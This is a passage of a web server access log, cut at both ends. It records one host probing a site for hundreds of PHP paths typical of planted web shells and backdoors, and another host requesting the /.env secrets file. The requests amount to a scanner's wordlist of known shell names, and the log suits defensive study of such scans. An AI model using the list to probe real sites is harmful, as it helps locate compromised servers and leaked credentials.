-0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:43 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:44 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:44 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:45 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:47 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:47 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:48 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:49 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:50 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:51 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:52 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:53 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:54 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:55 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:56 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:57 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:58 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:58 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:06:59 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:00 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:01 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:02 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:03 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:04 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:05 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:06 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:07 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:41 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:41 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:42 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:43 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:44 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:44 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:45 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:46 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:47 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:48 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:49 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:49 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:50 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:51 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:51 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:52 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:53 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:54 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:55 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:55 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:56 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:57 -0400] "GET /used: HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:58 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:59 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:00 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:01 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:02 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:03 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:04 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:06 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:07 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:08 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:09 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:10 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:12 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:14 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:15 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:16 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:17 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:18 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:19 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:20 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:21 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:22 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:22 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:23 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:24 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:25 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:26 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:27 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:27 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:28 -0400] "GET /aged.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:29 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:30 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:30 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:31 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:33 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:34 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:35 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:36 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:37 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:39 -0400] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:40 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:41 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:42 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:43 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:44 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:45 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:45 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:46 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:48 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:49 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:50 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:50 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:51 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:52 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:53 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:54 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:55 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:56 -0400] "GET /wp-includes/images/wlw/libcore.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:57 -0400] "GET /.well-known/yrfjzewo.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:58 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:59 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:08 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:09 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:09 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:11 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:12 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:13 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:14 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:15 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:16 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:17 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:18 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:19 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:20 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:21 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:22 -0400] "GET //403.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:23 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:24 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:25 -0400] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:28 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:30 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:30 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:32 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:33 -0400] "GET ///wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:34 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:35 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:36 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:37 -0400] "GET /wp-includes/customize/upfile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:38 -0400] "GET //s.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:07:39 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:08:59 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:00 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:01 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:01 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:02 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:04 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:05 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:06 -0400] "GET /file_browser.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:07 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:08 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:09 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:11 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:13 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:16 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:17 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:19 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:20 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:21 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:22 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:22 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:24 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:25 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:26 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:28 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:29 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:30 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:31 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:34 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:36 -0400] "GET /.well-known/upfile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:37 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:38 -0400] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:40 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:41 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:42 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:44 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:45 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:46 -0400] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:47 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:49 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:50 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:51 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:52 -0400] "GET //wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:53 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:54 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:55 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:57 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:58 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:09:59 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:00 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:01 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:02 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:03 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:05 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:09 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:12 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:15 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:17 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:19 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:22 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:23 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 160.176.47.69 - - [28/Apr/2025:09:10:23 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.94.105.188 - - [28/Apr/2025:09:10:25 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:26 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 160.176.47.69 - - [28/Apr/2025:09:10:27 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.94.105.188 - - [28/Apr/2025:09:10:27 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:28 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:29 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:30 -0400] "GET /wp/wp-includes/menu.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:30 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:31 -0400] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:32 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:34 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:35 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:37 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:39 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:41 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:42 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:43 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:44 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:45 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:46 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:47 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:48 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:49 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:50 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:52 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:52 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:53 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:54 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:55 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:56 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 